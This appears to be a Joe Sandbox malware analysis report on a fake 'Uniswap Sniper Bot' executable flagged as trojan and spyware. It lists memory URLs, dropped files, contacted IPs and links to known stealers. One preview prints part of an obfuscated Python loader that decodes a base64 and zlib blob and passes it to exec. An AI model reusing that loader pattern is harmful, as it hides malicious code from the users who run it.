https://issuetracker.google.com/161903006	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://crbug.com/1300575	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/nodejs/node/pull/33661	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/mathiasbynens/punycode.js.git	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://crbug.com/710443	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5658GPU.ANGLE.DisplayInitializeMSFrontend	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://narwhaljs.org)	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://github.com/WICG/scheduling-apis	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseXML.	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mths.be/utf8js	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://crbug.com/1060012	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ethereum/web3.js/tree/1.x/packages/web3-shh	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://code.google.com/p/chromium/issues/detail?id=25916	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/paulmillr/noble-hashes/issues/25#issuecomment-1750106284	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ethdocs.org/en/latest/ether.html	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.buybuybaby.com/store/cart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3997	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crbug.com/642605	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hottopic.com/cart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/1452	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crbug.com/1165751Disable	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ChainSafe/web3.js	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ethereum/execution-apis/pull/201	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.cs.ru.nl/~sjakie/	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bhphotovideo.com/(c/)?find/cart.jsp	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.lulus.com/checkout/bag/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ljharb.codes	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ethereum/execution-apis/blob/main/src/schemas/block.yaml#L2	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/ethereum/execution-apis/blob/main/src/schemas/transaction.yaml#L244	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/facebook/react-native/pull/1632	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.hsn.com/checkout/bag/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.unicode.org/copyright.html	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2240452407.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/blueimp/JavaScript-MD5	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282490273.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://opensource.org/licenses/MIT	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282490273.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/2894	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.rei.com/shoppingcart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/RyanZim/universalify.git	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/5750enableCompressingPipelineCacheInThreadPoolEnable	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crbug.com/275944	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/a/3143231	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.academy.com/shop/cart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://hyperelliptic.org/tanja	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pajhome.org.uk/crypt/md5	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282490273.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ethereum/web3.js/tree/1.x/packages/web3-utils	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
http://stackoverflow.com/a/16459606/376773	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://secure.houseofbeautyworld.com/(	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/a/5982798/376773	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.qvc.com/checkout/cart.html/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cr.yp.to/djb.html	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://materializecss.com)	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/questions/3966484/why-does-modulus-operator-return-fractional-number-in-ja	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/5901	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/issues/10673	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/3729	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Uniswap Sniper Bot With GUI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\.n2\bow

C:\Users\user\.n2\mlip

C:\Users\user\.n2\pay

C:\Users\user\.pyp\DLLs\_asyncio.pyd

C:\Users\user\.pyp\DLLs\_bz2.pyd

C:\Users\user\.pyp\DLLs\_ctypes.pyd

C:\Users\user\.pyp\DLLs\_decimal.pyd

C:\Users\user\.pyp\DLLs\_elementtree.pyd

C:\Users\user\.pyp\DLLs\_hashlib.pyd

C:\Users\user\.pyp\DLLs\_lzma.pyd

C:\Users\user\.pyp\DLLs\_msi.pyd

C:\Users\user\.pyp\DLLs\_multiprocessing.pyd

C:\Users\user\.pyp\DLLs\_overlapped.pyd

C:\Users\user\.pyp\DLLs\_queue.pyd

C:\Users\user\.pyp\DLLs\_socket.pyd

C:\Users\user\.pyp\DLLs\_sqlite3.pyd

C:\Users\user\.pyp\DLLs\_ssl.pyd

Windows Analysis Report
Uniswap Sniper Bot With GUI.exe

C:\Users\user\.pyp\Lib\pycache\future.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\future.cpython-311.pyc.2128155203424

C:\Users\user\.pyp\Lib\pycache\_compat_pickle.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\_compat_pickle.cpython-311.pyc.2784509867952

C:\Users\user\.pyp\Lib\pycache\_compression.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\_compression.cpython-311.pyc.2126053439536

C:\Users\user\.pyp\Lib\pycache\_weakrefset.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\_weakrefset.cpython-311.pyc.2128153979696

C:\Users\user\.pyp\Lib\pycache\ast.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\ast.cpython-311.pyc.2784498438128

C:\Users\user\.pyp\Lib\pycache\base64.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\base64.cpython-311.pyc.2128149338176

C:\Users\user\.pyp\Lib\pycache\bisect.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\bisect.cpython-311.pyc.2126016193440

C:\Users\user\.pyp\Lib\pycache\bz2.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\bz2.cpython-311.pyc.2126053635920

C:\Users\user\.pyp\Lib\pycache\calendar.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\calendar.cpython-311.pyc.2126016196464

C:\Users\user\.pyp\Lib\pycache\colorsys.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\colorsys.cpython-311.pyc.2784510091744

C:\Users\user\.pyp\Lib\pycache\configparser.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\configparser.cpython-311.pyc.2784509705648

C:\Users\user\.pyp\Lib\pycache\contextlib.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\contextlib.cpython-311.pyc.2128155199056

C:\Users\user\.pyp\Lib\pycache\copy.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\copy.cpython-311.pyc.2126052398272

C:\Users\user\.pyp\Lib\pycache\copyreg.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\copyreg.cpython-311.pyc.2128155279856

C:\Users\user\.pyp\Lib\pycache\dataclasses.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\dataclasses.cpython-311.pyc.2784497353776

C:\Users\user\.pyp\Lib\pycache\datetime.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\datetime.cpython-311.pyc.2126016192432

C:\Users\user\.pyp\Lib\pycache\dis.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\dis.cpython-311.pyc.2784498075216

C:\Users\user\.pyp\Lib\pycache\enum.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\enum.cpython-311.pyc.2128149344224

C:\Users\user\.pyp\Lib\pycache\fnmatch.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\fnmatch.cpython-311.pyc.2126053634912

C:\Users\user\.pyp\Lib\pycache\ftplib.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\ftplib.cpython-311.pyc.2253738244704

C:\Users\user\.pyp\Lib\pycache\functools.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\functools.cpython-311.pyc.2128149347808

C:\Users\user\.pyp\Lib\pycache\getpass.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\getpass.cpython-311.pyc.2253738236752

C:\Users\user\.pyp\Lib\pycache\gettext.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\gettext.cpython-311.pyc.2784491897776

C:\Users\user\.pyp\Lib\pycache\glob.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\glob.cpython-311.pyc.2784492257440

C:\Users\user\.pyp\Lib\pycache\hashlib.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\hashlib.cpython-311.pyc.2126026035184

C:\Users\user\.pyp\Lib\pycache\heapq.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\heapq.cpython-311.pyc.2126026042128

C:\Users\user\.pyp\Lib\pycache\hmac.cpython-311.pyc (copy)

C:\Users\user\.pyp\Lib\pycache\hmac.cpython-311.pyc.2126026034400

C:\Users\user\.pyp\Lib\pycache\imp.cpython-311.pyc (copy)

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
185.153.182.241	unknown	Russian Federation	35913	DEDIPATH-LLCUS	false
151.101.0.223	dualstack.python.map.fastly.net	United States	54113	FASTLYUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574361
Start date and time:	2024-12-13 09:34:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Uniswap Sniper Bot With GUI.exe
Detection:	MAL
Classification:	mal72.troj.spyw.winEXE@54/1814@5/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	K98766700.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	phost.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	sppawx.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	ahost.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	wsapx.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/json/?fields=225545
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/json/?fields=225545
	eCXXUk54sx.exe	Get hash	malicious	Divulge Stealer	Browse	ip-api.com/json/?fields=225545
	file.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	ip-api.com/json/
	bigfa.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
185.153.182.241	my2gf4tNEk.exe	Get hash	malicious	Unknown	Browse	/client/7/702
185.153.182.241	my2gf4tNEk.exe	Get hash	malicious	Unknown	Browse	/uploads

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	naukri-launcher 10.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	naukri-launcher 10.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	33abb.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	56ff7c.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
dualstack.python.map.fastly.net	AS6xKJzYJT.exe	Get hash	malicious	Python Stealer, XenoRAT	Browse	151.101.0.223
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	151.101.192.223
	Fw3icx4ZWB.exe	Get hash	malicious	Unknown	Browse	151.101.64.223
	file.exe	Get hash	malicious	Unknown	Browse	151.101.0.223
	file.exe	Get hash	malicious	Unknown	Browse	151.101.0.223
	file.exe	Get hash	malicious	Growtopia	Browse	151.101.0.223
	file.exe	Get hash	malicious	Unknown	Browse	151.101.0.223
	3Af7PybsUi.exe	Get hash	malicious	Unknown	Browse	151.101.0.223
	3Af7PybsUi.exe	Get hash	malicious	Unknown	Browse	151.101.128.223
	1bhYyrjyNk.vbs	Get hash	malicious	Unknown	Browse	146.75.116.223

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Kopia%20p%C5%82atno%C5%9Bci_Santander_TF1903218545300000564290004.exe	Get hash	malicious	Unknown	Browse	151.101.0.223
	Kopia%20p%C5%82atno%C5%9Bci_Santander_TF1903218545300000564290004.exe	Get hash	malicious	Unknown	Browse	151.101.0.223
	archive.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.0.223
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	151.101.0.223
	3181425fa7464801a03868a1adf86bc1.ps1	Get hash	malicious	Unknown	Browse	151.101.0.223
	in.exe	Get hash	malicious	Babadeda, HTMLPhisher	Browse	151.101.0.223
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	151.101.0.223
	ozAxx9uGHu.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	151.101.0.223
	eCXXUk54sx.exe	Get hash	malicious	Divulge Stealer	Browse	151.101.0.223
	greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	151.101.0.223

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\.pyp\DLLs\_bz2.pyd	discord.exe	Get hash	malicious	Unknown	Browse
	my2gf4tNEk.exe	Get hash	malicious	Unknown	Browse
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	UwOcZADSmi.exe	Get hash	malicious	AsyncRAT	Browse
	IyWKJMlCXg.exe	Get hash	malicious	XWorm	Browse
	souFnS89FP.exe	Get hash	malicious	Unknown	Browse
	downgrade.exe	Get hash	malicious	Unknown	Browse
	J33WM5suMd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
C:\Users\user\.pyp\DLLs\_asyncio.pyd	my2gf4tNEk.exe	Get hash	malicious	Unknown	Browse
	my2gf4tNEk.exe	Get hash	malicious	Unknown	Browse
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	J33WM5suMd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	SecuriteInfo.com.FileRepMalware.3650.10061.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.FileRepMalware.3650.10061.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Python.Stealer.1251.28918.16642.exe	Get hash	malicious	Python Stealer	Browse
	SecuriteInfo.com.Python.Stealer.1251.28918.16642.exe	Get hash	malicious	Python Stealer	Browse

Process:	C:\Users\user\.pyp\python.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	223927
Entropy (8bit):	6.00202653623362
Encrypted:	false
SSDEEP:	3072:GdqDpGNIR2k5f6kPOuF0/UnaH0CBeWre+g+MWeW8ShPppC643Q8TVCkPnZ8Z2c8A:GdkqIsQ0/xHNBHreTfW86pcZCkP+wc8A
MD5:	5FBD411EE97D7E89592DBC1633338788
SHA1:	0EAD57F6BC639B65808A325C230A8DB7E1BFBEA0
SHA-256:	DE6927053BCD2E404EDB4F1748D152171B46A295C967A3F9C9F0EDFD85E8F94A
SHA-512:	2CE5D23EBAB7A116D298D5C93895BCCB20AA97F1C62FF68298ECAE1B82009A32AC16972FE76B4CF359B0152DDB6B34E1F64B158E3BBC79B40F6CF74C9EB8DA89
Malicious:	false
Preview:	_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'rWRFENg///3PrCN8GryKPaEe8qQCTCSpCoNz2cZa501/aQCOoWo/jZ2leNtTTshgd92s73JhSGnhY0nrbmuhUc1vjnhXj5X8sSD87xASHJYNHAVjzeLREnNBshF35XCKsDnMknKuQnwjQZEYmDFfbGCze4dGk6r8Ofb1hsSISConGdXXLC0v5R+pcxnxC6XG2VjSYAWfvdvt0as2xGSBCVPSGLR91T/Q48C65PcL2TMYVkH5LamEjNvhamaTdlCKU0KmuDlkF4UhRkKkuhszhzD8Ivufp3DnDd6BYloKSdCiPPt5ucH8JfQ9XbdzwAHlwJWQZENN0TMX7+rl38rfJUjwPY8aXNdF2YDZQl9xGq8sGUA/WxnN/o3dl8GMqFu3LwGkcEV06Ik444iBc0ENkD8gwTPxIlmEnzgW/nsfnMUEf7Yt5ltM2wrVy7ss4mCpT/ncEpghShTt60Apq513L89g4HA4xZhfhrfMp8yh2AkZEWYU9lyzTaarK4+spXrjfpT4uSD8kXR6l0N9ES33WKcwTLInghYrR0GfXhmwdzxxZue+zRrapR0HIuxStftoCCa5tp8C22sO4ZKpt9rgK57EW5ejX104oNLd8Y+vukCi47zXywS9Us+EwYVOoRZzuUZeSQgL05D7TA0hOYXNgZzWQygfi7EY3zHxLElPNa8fuMBalTdQOhlVvxqabv+v/W7PhI//YAOsTZyTa9XZa32VDiICvr9wL4rXOS/q6rh3XlCTGi9zC0OLR31Lo54NuPXAo2tfZBjs+oB5X+v+9XqX4EayfGTFWTM0D/KUA4G9tL7mux8oP2LviVZdW2oXOIfHLa6qbVW4VG+TRHyZ2nU/J4dHjE6PfgLOeS5WTmioazL/7epjOwB5DsqOe2rmAbyYl

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.127647865641386
Encrypted:	false
SSDEEP:	1536:n2eoB+WKE4+0Ib1Qxh4XNnEapxIg5ni87SyjPxt:n2eo4pg0IpQxh4XBEapxIg5ndJxt
MD5:	47DE17275C73CFCDCE18ACE16CD4F355
SHA1:	5D6B9B1D4534EEAE0A3B72BFA359BB4818E4C86E
SHA-256:	D667822030BA160CD8770569AFEC2C029B5247CEAA401D9268FE98BBEA9E4C11
SHA-512:	E11637808DDAF14D0ABDB88A389E6947B16F272D97642312C99EC38BBCAF43E3594D8F89BC8699D769368704A81BC1F01EDFFA69AB736665C1C192AEED780C8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
